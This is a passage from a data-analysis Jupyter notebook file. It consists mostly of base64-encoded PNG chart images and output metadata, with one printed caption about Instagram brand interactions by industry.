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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Instagram brand interactions by industry\n", + "_________________________________________________________________________________________________________________________\n" + ] + }, + { + "data": { + "image/png": "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